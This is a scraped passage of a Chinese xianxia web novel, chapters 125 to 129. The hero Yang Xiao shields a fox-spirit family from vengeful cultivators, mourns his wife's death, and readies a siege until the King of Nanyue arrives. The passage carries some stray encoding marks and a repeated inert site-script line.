???????哪知那老者笑呵呵的说道:“恩人不必过谦。恩人与小老儿一家乃是因缘际会,今生注定的。以前没有“恩”不代表现在没有“恩”,现在没有“恩”不代表将来没有“恩”。” ???????老者的一番话把杨笑说的云里雾里的,心说:“这叫什么事啊?还有强行给自己拉个恩人的,真是从来没听说过。”想了想又觉得:“管他呢!只要能带我出山,他愿意怎么叫就让他叫去吧。”想到这里,杨笑于是微不客气的端起了面前的茶水。 ???????白色的粗瓷茶杯厚重而朴实,杯中的茶水清透无比,两片翠绿色的嫩叶在里面轻轻的漂荡着,把杯中的茶水染出一点点淡绿色。仔细一闻,一股淡淡的清香经由鼻孔直达肺腑,今人心旷神怡。 ???????杨笑抿抿嘴,轻轻的尝了一小口茶水,一股凉爽之感由咽喉一路通到胃脘,再由胃脘疏散到肌肤腠理,瞬间感觉整个人都通畅了。 这等感觉完全不输梁赞当初送给自己的灵茶。 “在这到外都是豺狼虎豹的深山老林里凭空出现的一户人家;一家人的言语间又充满古怪;现在又拿出了这世间难寻的灵茶;难道……?” “我倒要看看这一家三口的葫芦里到底卖的什么药。”想到这里,杨笑放下茶杯开口道:“既然老人家都这么说了,那杨某也就不矫情了,日后若有用处,杨某……也只能说量力而为吧。” ???????夫妇二人闻言面面相觑,一副欲言又止的样子,气氛一下子有些尴尬起来。最后还是那老者开口打破了这份尴尬:“呃……呃呵呵……不说这些,不说这些,先吃饭,先吃饭。” ???????那老妇人也连忙说道:“对,对,恩人先吃饭。” ???????一顿饭吃的不温不火。 茅草屋里空间有限,除了中间的客厅外就只有两间卧室和一个兼做柴房的厨房了。到了晚上,那少女把自己的卧室腾出来给杨笑住,自己跑到父母的卧室里跟母亲挤一挤,而那老者则是在客厅里打了一夜地铺。杨笑也不客气,直接就在少女的卧室里睡了一觉,小黑就卧在杨笑的门外和那老者大眼瞪小眼的耗了一晚上。 两天的时间很快就过去了,到了第三天快要邻近中午时,原本晴朗的天空忽然间狂风四起,乌云密布,一道道闪电如同火蛇一般在云层间肆意穿梭,轰隆隆的闷雷声不绝于耳,震的人心里直颤。这般毁天灭地的景像就如同天神震怒,末世降临,饶是杨笑也被?的胆颤心惊。 风云突变之时那一家三口也开始变的惶恐不安起来,杨笑看着身边三人一副如遭大难的样子开口问道:“这是怎么回事?你外甥就是这么来看你的?” window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十六回 被迫的好人 ??风云突变之时那一家三口也开始变的惶恐不安起来,杨笑看着身边三人一副如遭大难的样子开口问道:“这是怎么回事?你外甥就是这么来看你的?” ???????那老者顶着风声回答道:“我也不知道哇!” ???????“到现在你们还不肯说实话吗?” ???????老者一家三口相互看看,最后还是选择了实话实说:“恩人勿怪,小老儿实在是有为难之处才会对恩人有所隐瞒的。” ???????杨笑没好气道:“都把我拐到这里来了,还有什么好隐瞒的?” ???????那老者犹豫了一下这才开口道:“实不相瞒,小老儿一家其实并非人族,而是……而是妖族。” ???????“妖族?”杨笑惊讶道。 这还是杨笑第一次跟妖这种东西有所接触,小时候也只是从王婶那里听过一些狐鬼精怪的故事。那些故事里有为了报恩化身美貌女子嫁给穷书生的善良狐妖;也有吃人不吐骨头的蛇精狼怪;还有专门拉替死鬼的恶鬼冤魂……。不过杨笑从来都不信这些狐鬼精怪的事情,认为那都是大人编出来骗小孩儿的故事。现在,在这荒山野岭的地方有这么古怪的一家子口口声声说自己是妖怪,这不能不让杨笑感到惊讶。杨笑出于本能,警惕性的往后退了两步,好跟这古怪的一家三口保持一定的距离,同时右手也握在了腰间的刀柄上。 ???????那老者见杨笑心生警惕的样子连忙解释道:“恩人不要害怕,小老儿一家虽非人族却从来没有做过伤天害理的事情……。” ???????“没做过坏事怎么会有雷霆天罚降下?”杨笑打断道。 ???????那老者吞吞吐吐的说道:“这……这……这是仇家找上门来了。” ???????“仇家?”杨笑无语道。见那老者还是吞吞吐吐的不愿把事情说清楚杨笑干脆一甩手说道:“你不说我可就走了。” ???????那一家人似乎十分在意杨笑的态度,见他做势要走,老者连忙上前拉住杨笑的手臂,连声叫着“恩人”急切道:“我说,我说。” 老者叹口气接着说道:“唉!说起来实在是有些丢人,都是因为我无意中误采了人家的灵药,这才惹得人家追杀的。” ???????这个回答有些让杨笑想不明白了:“这有什么好丢人的?不就是偷……。”杨笑干咳两声连忙又改口道:“不过是薅了他家几根草药,至于一路追杀不肯放过吗?还给他不就完了!” ???????那老者无奈道:“恩人,那灵药非同小可,乃是能够增益修为提升境界的灵药。”说到这里老者一把跪倒在杨笑脚下:“恩人一定要救救小老儿一家三口呀!”见老者跪在地上,那老妇人也拉着女儿连忙跪了下去:“恩人救救我们吧!” ???????眼看着这一家人跪在自己的跟前哭的泣不成声,不住的央求自己,杨笑也有些为难了。虽然已经知道了他们都是妖怪变化,可现在跪在地上的明明就是善良可怜的一家人嘛! “你既是妖族变化想必有些修为,你的仇家能让你害怕成这样那一定比你要厉害上不少,我这点微末道行又怎么能救你呢?”杨笑说道。 ???????那老者说道:“实不相瞒,小老儿是受了高人指点,才会把恩人请到这里来的。” ???????杨笑一听这话心说:“你那个高人靠不靠谱呀?看天上这阵势别说一个我,一百个我也不顶用啊!”杨笑想了想觉得还是算了吧,这个x我不装了,还是自己的命比较重要一点。他的这个念头要是让人知道了还不得当场栽倒一大片,堂堂虎威将军,威风八面,一表人才的正人君子,竟然抱着这样的念头。 ???????那少女见杨笑还是不肯答应,上前一把抱住了他的大腿哭道:“恩人若是能救我一家性命,小女子愿意为恩人当牛做马,为奴为婢。” ???????杨笑一边往后退一边说道:“别别别……快别这样,我也是无能为力呀!”可一连拽了几下也没能把腿拽出来,倒惹的那少女不停的流眼泪,嘴上一个劲儿的叫着“恩人,恩人”,弄得杨笑也是没办法,只好问道:“你那高人到底是怎么说的呀?我这么一丁点的本事怎么能救得了你们呢?” ???????那老者一看有戏连忙说道:“那位高人说恩人什么都不用做,只需要跟我等站在一处便可。” ???????“就这么简单?”杨笑将信将疑的问道。 ???????“呃……那位高人确实是这么说的。” ???????杨笑还是觉得心里没底,在嘴里嘀咕道:“你那高人也不知道靠不靠谱。” ???????老者见杨笑还在犹豫便说道:“恩人若是救我一家三口,小老儿定会给恩人一个大大的好处,另外还会告诉恩人一个万分紧要的消息。” ???????杨笑一听有好处心里边就稍稍的活动了一下。当初那个老道给了自己一道护身符,说是在紧要关头会保自己性命无忧,还让自己顺性而为。这几年下来自己也确实是比较顺性,也有数次涉险,可从来也没见过那劳什子护身符显过灵,也不知道那老道说的是不是真的,难道是还不够危险的原因?要不就再试试?” ???????说实在的,自从前后几次跟这些世外之人碰过面后,杨笑是越来越相信自己那个便宜师父说的话了,从来到这里并看出有异常之处后,之所以还能这般平静,完全就是仗着自己身上那道据说是在关键时刻能保自己性命的护身符。杨笑在心里这么胡思乱想着,可当他再次抬头看了看那天上的乌云和密密麻麻的闪电后就立刻又打消了这个念头,他把头一摇:“还是算了吧,那护身符也不知道顶不顶用,充好人也不是这么个充法,好处再大也得有命拿才是。” 就在这时一个炸雷在头顶响起,“咔嚓嚓”一声,震的人两耳嗡鸣,头发茬子都要竖起来了,那原本在高空发出阵阵闷响的雷声也越来越近了,渐渐的由沉闷变成了一连串震耳欲聋的炸雷声。雷声厉变的同时那老者一家三口也吓的全都爬到杨笑的脚下死死的抱住了杨笑的双腿,生怕他一声不吭拔腿就要跑路似的。 ???????事实上杨笑确实是想要临时跑路来着,那如同神罚的滚滚天雷,杨笑发誓这辈子都没见过,轰隆隆的雷声震的杨笑心里直发毛,这样的阵仗下说不害怕那是假的,鬼才会替这种不相干的人出头呢!什么正人君子?傻子才会为了个所谓的正人君子的虚名去冒这要命的风险。不要忘了,咱们这位主角从小就是个调皮捣蛋的家伙,他可没被那些“之、乎、者、也”的所谓的君子之道的那些大道理给洗脑。只是没奈何,自己的动作还是慢了一步,被这一家三口死死的抱住了双腿,否则的话,他哪里还会老老实实的站在这里。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 等一百二十七回 银背狐 没一会儿那滚滚雷声便压到了头顶之上,伴随着轰隆隆的雷声,一道闪电劈到了邻近的一座小山头上。随着那道闪电劈下,山头上立刻冒起了一股白烟,周围的景像也开始变的有些扭曲了起来,就好像是人喝醉酒时看到的事物一样。接着又是两道闪电劈中了另外两座山头,四周的景像一下子开始剧烈扭曲变形,紧接着就好像打碎了一面镜子似的“哗啦啦”的碎了一地。再看看四周,哪里还有什么绿水青山,鸟语花香?哪里还有什么茅屋小院,菜垄青秧?除了那条河还在之外,到处都是荒草和乱石滩。 杨笑惊慌失措的看着周围变了模样的事物,再看看脚下,哪里还有一家三口的影子,取而代之的是三只躲在自己两腿间的狐狸。那狐狸一身褐色皮毛,白耳、白爪、白尾,一道银白色的条纹从头顶一直通到尾巴上。“这不就是从自己手里抢走军情谍报的小畜牲吗?原来从头到尾全都是这家伙在捣鬼!” 这时一个声音从头顶的云层里传了下来:“我当是哪里来的畜牲,原来是三只阔耳银背狐。小小孽畜也敢盗我灵草,真是不知天高地厚!” 杨笑抬头望去,只见头顶上的乌云从中间裂出一道缝来,那道缝隙就好像是在天上打开了一扇门,有三个人影从那扇门里走了出来。 左边一人,一身白衣,墨染般的长发随风而舞,头上系一根鲜红色的发带,背负一柄长剑,乃是一个面白肤净的俊俏青年。那青年生的容貌甚是俊美,可以说是杨笑生平所见之最,再加上嘴角那一丝淡淡的让人望之便如沐春风般的笑容,当真是说不尽的潇洒出尘。杨笑平日里也觉得自己的长相也还算可以,但搁在这个白衣青年的面前……呵呵,自己的长相还真是一般般的很。 右边一人,穿一身土黄色短打,手里提两个撼地金瓜,乃是一个十分敦实的少年。少年的相貌其实也算不错,或许是因为旁边白衣青年的衬托才显的普普通通。此时的少年正满脸怨气的瞪着下面的一人三妖,就好像刚刚受了欺负领着家大人找上门来为自己出气的孩童一般。 中间一个身形高大的中年男子站在最前面,高鼻梁,薄嘴唇,面容刚毅严肃,穿一身宽大的黑色长袍,双手双脚都被罩在袍子下面。那男子最引人注目的地方是在他身周不住缭绕的一道道电光,那些电光就如同一条条毒蛇一般在他身周不停的扭动着,发出一阵阵滋滋啦啦的响声。看样子头顶上的这些乌云和闪电应该就是他弄出来的,刚才那句从乌云里传出来的话应该也是出自他的口中。 杨笑抬头望着天空中的三个人自言自语道:“这年头是怎么了,怎么一出门就撞神仙?” 那俊俏的白衣青年上前一步开口道:“大胆的妖狐,竟敢欺我师弟年幼,盗取本门灵草,真是罪该万死!” 杨笑听到这句话后只觉得那白衣青年的形象在自己心里立刻掉了一大截,好好的俊小伙怎么一张嘴就要让人死? “咦?这里怎么还有一个人?”就在杨笑正在心里面胡思乱想的时候,那个白衣青年突然惊奇道。 杨笑一听这话立刻就在心里把那青年的母亲问候了一下。感情人家刚才压根儿就没有注意到自己这个大活人:“你他娘的!别人是目中无人,你这是真目中无人。”杨笑在心里骂道。 那黄衣少年在一旁叫道:“妖狐!头几次让你逃了,这回我五师叔来了,看你还往哪里逃!”随后那少年又指着杨笑叫道:“还有你这凡人,竟敢与这妖狐站在一起,真是不知死活。” 那白衣青年接着又道:“这位兄台,你当真要留在这里吗?” 杨笑使劲的抬了抬腿,可两只脚却如同在地上生了根似的,纹丝不动。他没好气的抬起头对那白衣青年说道:“你看我走得了吗?” 旁边的黄衣少年忍不住了:“既然如此,那就一道去死吧!”说着就举起了手里的金锤。 这时那白衣青年伸手拦住了少年:“等等。”他看了看杨笑又看了看旁边的小黑:“这人看着似乎有些眼熟。”说着从怀里掏出一本小册子来,拿在手上翻了翻,又把杨笑和册子里面的画像仔细地比对了一下,然后他笑了笑说道:“我当是谁呢,原来是护国将军来了。” 随后青年在黑袍人跟前小声的说了几句,又把那本册子给那黑袍人看了看。青年在那黑袍人跟前说了几句话,见那黑袍人点了点头后便转回来对下面的一人三妖说道:“既然有花岛的人情,又确实是误采,那我们就不多追究了,你们把剩下的灵草交出来这件事就算完了。” 杨笑在下面腹诽道:“我去!刚才不是还要打要杀的吗,我有这么的大面子?你们几个还真是够随便的。” 杨笑脚下那只老者所化的狐狸听到白衣青年的话后连忙说道:“小妖愿意,小妖愿意。”说着张口吐出一道白光来,几颗小草出现在他面前的地面上。 那几颗小草长的青翠欲滴,叶面上不时有点点晶光闪烁,一种若隐若现的别样的气息从那几颗小草的身上散发出来。 ?“这就是灵草?”杨笑低头看着那几根自己从来没见过的小草在心里好奇道。 那只老狐狸把几颗灵草吐出来后接着说道:“剩下的灵草都在这里了。小妖一时误入宝山,不知这灵草乃是有主之物,还望前辈赎罪!” ?那白衣青年一招手,几颗灵草便从地面上飘然而起落到了他的手中。青年转手把灵草交给了那黄衣少年,那少年一把抓在手中,还是有些不情愿道:“哼!算你们走运!” 白衣青年笑着安抚了一下少年,随后三人转身往那扇大门里走去。刚走没几步那青年忽然又转回来对杨笑说道:“既然卖了人情,不妨卖的彻底些。你转告梁赞,就说黑鹫山并不甘心,已经联合了其它几个门派在暗中动手脚,很快就会有许多来历不明的人加入到你们的游戏中。” ?那青年说完后转身刚要离去就听那老狐狸喊道:“请等一等。” ?青年转过头问道:“你还有什么事?” ?老狐狸说道:“小妖一家身为异族,在这里的日子颇为坚难,还请为小妖一家指一条安身的明路。” ?青年冲杨笑努了努嘴对老狐狸说道:“你既然能请来花岛的人情,为什么不去投靠花岛呢?在那里应该能谋一个打扫洞府的差事吧。” ?老狐狸为难道:“可花岛路途遥远……。” 不等老狐狸说完那青年一指杨笑说道:“问他呀!投靠他背后的靠山不就挺好的吗?”说完便转身追上前面的两人,一同消失在那扇门里了。 三人离去后,天上的乌云闪电也很快的消失不见。 “这就完了?”杨笑呆呆地望着又恢复成原来样子的天空,有些难以置信的自己自语道:“就这么雷声大雨点小吗?” 等天上的乌云彻底消失不见后,三只狐狸才又幻化成了原来人类的模样。一家三口对杨笑不住的感激着,杨笑看着他们现在的样子,又想想他们刚才变做狐狸的样子,心里总觉得有些不自然。杨笑一脸古怪的表情望着眼前的三人……哦不,是三狐。他本想要说点什么,但想了想最还是没说出口,就问道:“这么厉害的家伙你也敢惹?” 那老狐狸化做的老者一边摇头一边说道:“嗨!说来惭愧呀!……。”老者这才一五一十的把前因后果说了一遍。 原来,半月前老者误入了一处长有灵草的山谷,满地的灵草把老者的眼都要看花了。他也意示到自己这是闯入了一处灵药园里,也明白但凡能有灵药园的无不是名门大派或修为高深之人,总之都是自己万万得罪不起的存在。可一想到自己一家人日子过的坚难,光靠着老老实实的修练实在是有些缓慢,看着遍地的灵草难免有点动心,再看看四周并没有人发现自己,于是抱着侥幸的心理,想着自己就摘几颗灵草应该不会被发现的,于是就偷偷的挖了几颗。 当时看管药园的少年因为一时贪玩走的远了些,玩了半天又在角落里睡了个懒觉,老者因此也确实没有被发现,不过等少年醒来后发现丢了灵草便一路顺着踪迹追了上来。一开始老者仗着修为甩掉了少年几次,还小小的调戏了他一下,这让少年恼怒不已,正好碰上自己的师兄和师叔外出归来,于是少年便请了师叔和师兄来帮自己出这口恶气。而老者也在此时遇上了一位不知名的高人把一切都告诉了他,并指点他如何化解。老者知道大事不妙连忙按照高人的指点一路逃到了这里,这才有了刚才的这一幕。 听完这些后杨笑挠挠头,心说:“这些高高在上的仙人一个个的还真不是什么良善之辈,动不动就喜欢要人的命。” 事了之后老者把杨笑送回到原来的地方,自己则按照杨笑的交待去找梁赞去了,必经杨笑认识的人当中也只有梁赞曾经自称过是什么“花岛”的人。 ??????? ??????? ??????? ??????? ??????? ??????? ??????? ??????? ??????? ??????? ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十八回 下辈子换你追求我 下辈子换你追求我 上一回咱们说到杨笑“被迫”救了阔耳银背狐一家三口。 一场雷声真的挺大,雨点却跟本没机会蹬场的风波过后,狐妖一家把杨笑送回到当天拐走他的地方。杨笑心里着急前方与东安王的战事,匆匆告别狐妖一家后便立刻往南去追赶李伯通等人了,连老狐狸当时许下的好处也没顾上要。 到了榆谷关一问才知道李伯通等人已经离开榆谷关半月之久了。这个消息让杨笑惊讶不己,没想到自己这一离开竟然就是这么长的时间,可在那个山谷中明明只过了三天呀?自己总不能是一直昏迷了十多天吧?杨笑越想越觉得有些离谱到让人想不通。想不通的话所性就不去想了,杨笑离开榆谷关连夜赶往萧山地域去寻找李伯通他们。 经过一夜的奔波,终于在第二天中午找到了西梁军的主力。 朔州城内,杨笑的回归让西梁军的众将士们倍感欢欣鼓舞,李伯通从太守府一路迎出了好远。待杨笑进入大厅后,众将领齐齐拜倒:“恭迎将军!” 俗话说:干一行,像一行。一回到军中杨笑那份大将气势便拿了出来,他抬手道:“众将士请起!” 不等杨笑问话,李伯通已然上前一步揖首道:“禀将军,半月来战事顺利,我军所到之处无不能克,现已将萧山五城中的两城牢牢掌握。” 马致远上前禀告道:“目前我军战损不大,粮草、马匹,弓箭等一应用度十分充足,而且还从东安王的手中缴获了不少物资,一应用度不但未减反而还多出来不少。” 韩元吉禀告道:“褱州城也已被我军团团围困,而且东安王的大半骑兵也被我军重创,短时间内应是无力再战。” 武俊山上前禀告道:“应州城的守军也已不敌,开始向城内收缩,围城之期已然不远。” 呼延灼上前禀告道:“萧山地域的主要河道大半已被我军阻截,东安王水军活动受限,已经发挥不出多大的作用了。” 杨笑听完众人的汇报后满意的点头叫了一声好。 这时李伯通又说道:“不过面对节节失利的局面,东安王似乎有些等不及了,最近几天一直在向应州城调派兵力,看样子似乎是想要与我军提前决战。” 杨笑“哦”了一声伸手示意众人落座,然后向李伯通等人问道:“李将军,武将军,应州城现在的具体情况如何?” 李伯通和武俊山先后向杨笑把应州城的情况从头到尾仔细的说了一遍,其他人也把各个方面的具体情况仔细的向杨笑汇报了。杨笑听着众人的叙述不住的点头,不时的问上一两个问题,不知不觉已到了晚饭的时间。众人都在大厅里简单的吃过晚饭后又商讨了一下双方现时间的战场布置,还对接下来可能出现的情况商讨了一下对策,一直到了深夜众人才纷纷散去。第二天一大早杨笑又与李伯通等人到褱州城和应州城外巡视了一遍,等再回到朔州城时已是数天之后了。 杨笑刚一回到朔州城的太守府,还没进门就有侍卫上前禀告道:“禀将军,您家中遣人送来了书信。” 自从西梁王起兵杨笑踏上战场以来,便一心投入到战事之上,与家中少有书信往来。一是战事吃紧没时间顾及,二是身份特殊出于保险起见不方便过多的邮寄家书。 听到家中有书信送来,而且是专门派人送来的,想来应该是很重要的事情,算算日子,五公主临盆的日期也过了一段时间了,莫非……?杨笑正在心里这样想着,脸上也不由得流露出一分喜色来。但当他注意到那侍卫的脸色时,那份刚流露出来的喜色就又渐渐的收了起来:“你怎么这副样子?莫非是有什么事情?” 那侍卫犹豫了一下,磕磕绊绊的回答道:“将军,您……您……您进去……就……就知道了。” 杨笑闻言心里一紧,抬头向大门里面望去,一股让人极度不适的感觉涌上心头,他快步向大门里走去。 杨笑刚进到院子里,就见到五公主的贴身侍女小莺,此时正低着头跪在大厅的门外。小莺一身麻布粗衣,头缠白布,脚穿黑鞋,鞋面上还缀着白色的麻布,不是一身重孝又是什么? 杨笑一见小莺这副穿戴,心里面立刻“咯噔”一下,一个他不愿意面对的念头一下子出现在他的心里。 小莺听到有脚步声走近,一抬头便看到了杨笑。不看不要紧,一见到自家的将军附马,小莺脸上的泪水就如同是断线的珠子一般,再也忍不住的掉了下来:“将军……!” 她悲戚的叫了一声后,便再也抑制不住自己的情绪了。小莺一路痛哭着跪到了杨笑的面前:“将军,公主……公主她……。” 杨笑一听到“公主”两个字,手里的马鞭“啪嗒”一声就掉在了地上。他一把抓住小莺的肩膀急切的问道:“公主怎么了?快说,公主怎么样了?” 小莺抽噎着,委屈的说道:“公主她……她……没了。” 一句话让杨笑如遭雷击,呆立当场。他脚下一软踉跄一下。立稳身形后,杨笑沉声问道:“是什么时候的事儿?” 小莺伏在地上抽泣着回道:“已经一个多月了。” 算算路程大概是杨笑征讨东安王出发没几天的日子,小莺一介女儿身,从西梁一路赶到这里可不是得三十多天嘛。 杨笑仰起头深吸一口气,他强忍着不让眼泪流出来。 想起自己与五公主夫妻一场聚少离多,往日与五公主的一幕幕不由自主的涌上心来。 还记得第一次见到她时,她那一副痴痴望着自己的样子,想想真是让人觉得又好笑又可爱。还记得订下婚约后在西梁王府再一次见到她时,那份温婉美丽的娇羞模样,真是想想就让人忍不住的想要多看上几眼。还记得婚后一起回黑虎山庄,她一路上欢快的就像是一只出笼的小鸟,那爬在船头戏水的身影是那么的欢快可爱。还记得她说出那句“我们一起去找她”时,真是让自己从心底里真正爱上了这个善良又美丽的姑娘。 得妻如此,夫复何求!……。 杨笑越想越觉得心痛无比,那两眼泪水到底还是无声的流了下来。那两行热泪从眼角一直流到了耳边,流到了下巴,最后滴落到空中,滴落进风里,随着这岭南的风而逝了。 他强忍着心中的悲痛问道:“公主有留下什么话吗?” 小莺收住眼泪说道:“公主说:她还想要跟将军一起乘着神虎到山上去赏月。” 只这一句话就让杨笑的心里更不是滋味儿了。他缓缓的转身走向院子里的石桌,就这么几步的路,却也走的坚难无比。 小莺连忙起身扶着杨笑坐下。 杨笑坐在那里发一言不发,似是陷入了过往的回忆之中。过了好一会儿他才回过一点神来。杨笑示意小莺也坐下,小莺欠身一礼后坐到了杨笑的对面。 “我离开的时候,公主不是挺好的吗?怎么突然会这样?你从头到尾全都跟我好好的说说。”杨笑轻声的说道。 “是,将军。事情是这样的……。”小莺于是从五公主发现怀有身孕开始,向杨笑一点点的说了起来。 原来,自从五公主怀有身孕后,身体就一直不大利索。先是没什么胃口,吃什么东西都觉得没滋味儿,后来就开始不时的犯恶心,有时候还会把吃下去的东西全都给吐出来。当时请了贡州城里最好的几位朗中为公主诊脉,几位朗中看过后都说只是一般的孕吐并没有什么大碍,再后来慧王妃心疼女儿,就把五公主接回了王府。到这里,杨笑对五公主的情况还是有所了解的,也是在这时候杨笑接到了西梁王从圣京城送来的密信,从而开始了起兵清君侧的路程。 本以为五公主回到王府后有王府里多位高明的御医调理,身体会一天天的好起来,谁知事以愿违,老天爷偏偏要再一次的捉弄杨笑,让他再一次的体验与至亲至爱之人生离死别。 五公主的肚子一天天的大了起来,可她的身体却也一天不如一天了,王府里的御医们想尽了各种办法也没能让五公主的病情有丝毫的起色。眼看着离五公主临盆的日子越来越近,本以为等孩子生下来以后一切都会慢慢的好起来,哪知道临盆的日子已经过了好多天,也不见有半点临盆的迹象。到了最后,五公主消瘦的就只剩下了皮包骨头,就只剩那大的异常的肚子让人怎么看怎么觉得担心。五公主到底还是没有挨过去,在一个阴云密布的早晨,弥留之际的五公主说出了那句:“真想跟夫君再一起骑着他的神虎到山上去看月亮。” “……公主在说这句话的时候,她的眼睛里充满了让人羡慕的光彩,她一定……。” “不要再说了……。”杨笑再也忍不住了,他捂着脸,强忍着不让自己哭出声来。 “……她一定特别的喜欢,特别的期待。”这个倔强的小姑娘最后还是怯怯的,小声的,说了出来。 杨笑听完后哭的更痛苦了。他曾经答应姐姐再也不会哭了,他也以为自己再也不会哭了,可那不轻弹的男儿泪只是因为没到伤心处。 “……这是公主留给将军的信。”小莺适时的,在杨笑的悲痛上轻轻的送上了一记助攻。 那是五公主在最后清醒的时间写杨笑的信。信里写满了她对杨笑的爱意和思念之情,她说这辈子跟他做夫妻是她的福气,她很高兴,希望下辈子还能遇到他。不过她在信里有一个“小小的愿望”,那就是:这辈子是她追求的他,下辈子她希望他能好好的追求一下自己。 杨笑呜呜呜的痛哭了起来,眼泪一滴滴的落下来,落在那封信上。仿佛从小到大所有的伤心和委屈全都一齐涌了上来,他像一个孩子一样的哭着,他从来也没有哭的这么伤心过,一个堂堂七尺男儿哭成这个样子,就是旁人见了也无不生出恻隐之心。 整个太守府里的人全都静悄悄的听着杨笑的哭声。 过了好一阵子,杨笑终于止住了泪水。一直安静的站在一旁的李伯通上前安慰道:“将军还请节哀。将军要不要先回家料理一下?” 杨笑轻声道:“大战在即,我又怎能再次弃众将士而去?”接着他用力攥紧了拳头,目光也变的凌厉了起来:“都怪这该死的东安王,让我连星洛的最后一面也没能见到。传令下去,明日一早决一死战!” ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第一百二十九回 四王会盟 四王会盟 应州城外,西梁军旌旗招展,战鼓擂鸣,号角声声。 应州城城头之上,各色旗帜猎猎作响,轰隆隆的鼓声响个不停,东安王一方也是严阵以待。 呼延灼一夹胯下马腹,上前向城头上的守军喊话劝降:“城上的人听着,我西梁大军所向披靡,我家将军更是天降的神兵,劝尔等还是速速投降为好,免得城破之时伤了尔等的性命,到时候生灵涂炭全都是尔等的罪过。” 呼延灼也只是例行规劝,城上的守军自然不会因为他的几句话就真的缴械投降:“呼延小儿,你身为三代将门之后,世受朝廷的奉禄,却要做西梁反贼的走狗,难道就不怕遗臭万年,被天下人笑话吗?你要如何面对列祖列宗,如何面对子孙后世?劝你不如早日归顺我王,共讨西梁反贼!” “前朝昏庸无道,百姓民不聊生,我王一心辅佐他却要无故加害,如此昏君就是上苍也容不下他。这才会先为我西梁降下神兵,再有仙人为我王指点迷津。如今我王已贵为天子,此乃得天意,顺民心!劝尔等迷途知返,不要枉送性命。”呼延灼继续耐着性子劝降。 “一派胡言!鬼神之说也敢拿来诓骗世人,我王亦是皇族嫡传,你那西梁王见到我王还要老老实实的叫一声哥哥,轮几轮能轮到他来坐皇位?呼延灼,你不如归顺我王,共举盛世。”城上的守军显然是有自己的想法。 呼延灼最后说道:“呼延灼话尽于此,各位要是不问劝的话,休怪我西梁军刀剑无情!” 城上的人反呛道:“你还是赶紧滚吧!再不滚的话就让你做我的箭下亡魂!” 呼延灼冷哼一声调转马头回到西梁军的阵营中,冲杨笑点点头,杨笑也向他微微点头,示意他后入列归队。 杨笑双眼微眯望向城头,等呼延灼回到队伍中后,他向身侧伸出一手轻轻一招,身后一步之距的侍卫立刻会意,双手递上一支令旗。杨笑接过令旗高高的举过头顶:“全军听令!” 一声令出全军肃然,战鼓声隆隆做响似要震破天际。 “报!”就在杨笑刚要重重的挥下手中的令旗,下达攻城的命令时,一骑探马飞奔而来。 杨笑面色一变,扭头冷冷的向声音传来的方向望去,这一刻所有的西梁军也向同一个方向望去。 两军交战最重要的就是气势,所谓一鼓作气,再而衰,三而竭。方才西梁军正是气势如虹之时,这个时候出来搅局,办一个“扰乱军心”一点也不为过。这一搅和,西梁军鼓起的士气被迫中断,再要鼓起士气来那效果可就要大打折扣了,到时候就算能大获全胜还不知道要多付出多少人的性命呢!也难怪从来都不会给将士们坏脸色的杨笑会生气了。 那飞马来报的小卒心里也明白自己这是闯下了大祸了,不说别的,光是众人投来的或冷冽,或愤怒,或责怪的各色目光,就足以把他给压个半死了。可他也没有办呀!谁让自己要传递的这个消息太重要了呢? 那小卒飞身下马跪倒在杨笑面前颤声道:“禀将军,南……南越王来了!” 众人闻言皆是面色一惊!在这个关键的时刻,要是南越王过来插上一脚的话……到时候西梁军腹背受敌,那情况真的是大大的不妙了。李伯通略一思量后上前一步问道:“将军,怎么办?” 所有人都知道这件事情的严重性,他们的目光又全都投向了杨笑。 杨笑镇定一下心神问道:“来了多少人马?” 那小卒抬起头来犹犹豫豫的回道:“就来了他一个。” 这句“就来了他一个”让包括杨笑在内的所有人,恨不得立刻就把这个不知天高地厚的家伙给当场大卸八块唠!你这个大喘气喘的好哇!喘的把在场所有人差点没给吓个半死。 正在杨笑他们气恼这个来报信的家伙,同时又在心里好奇南越王为什么会在这个时候出现在这里,又为什么会孤身犯险的时候,一辆普普通通的马车出现在了众人的视野内。 马车确实很普通,普通到无论在哪个城镇里随随便便就能一抓一大把。可就是这辆普通的马车,此时却牢牢的吸引着两军双方数十万人的目光。 这辆牵动着所有人目光的马车,发出一阵吱吱扭扭的声响,缓缓的停在众人的面前。 车夫跳下马车,抽出一条长凳来放在地上。 一只布满老茧,满是褶皱的大手伸了出来,把车帘掀开一条缝,一位满头银发,面容祥和的老人从车里探出头来。 老人先是往杨笑这一边看了看,又扭头往应州城头上看了看,然后他掀开车帘弯腰走出了车厢。 老人搭着车夫的肩膀,踩着那条长凳从车上走了下来。从下车的动作上可以看出,老人的行动还是很利索的,丝毫不见蹒跚之态。老人下车后用双脚在地上踩了踩,仿佛在试试看这地面瓷不瓷实。老人抻了抻腰,抖了下双肩以驱散一路上的疲惫。 老人站直身子后抬头望向杨笑:“侄女婿,你可认得老夫?”老人声音洪亮,单从这份十足的中气来看,半点不显老态。 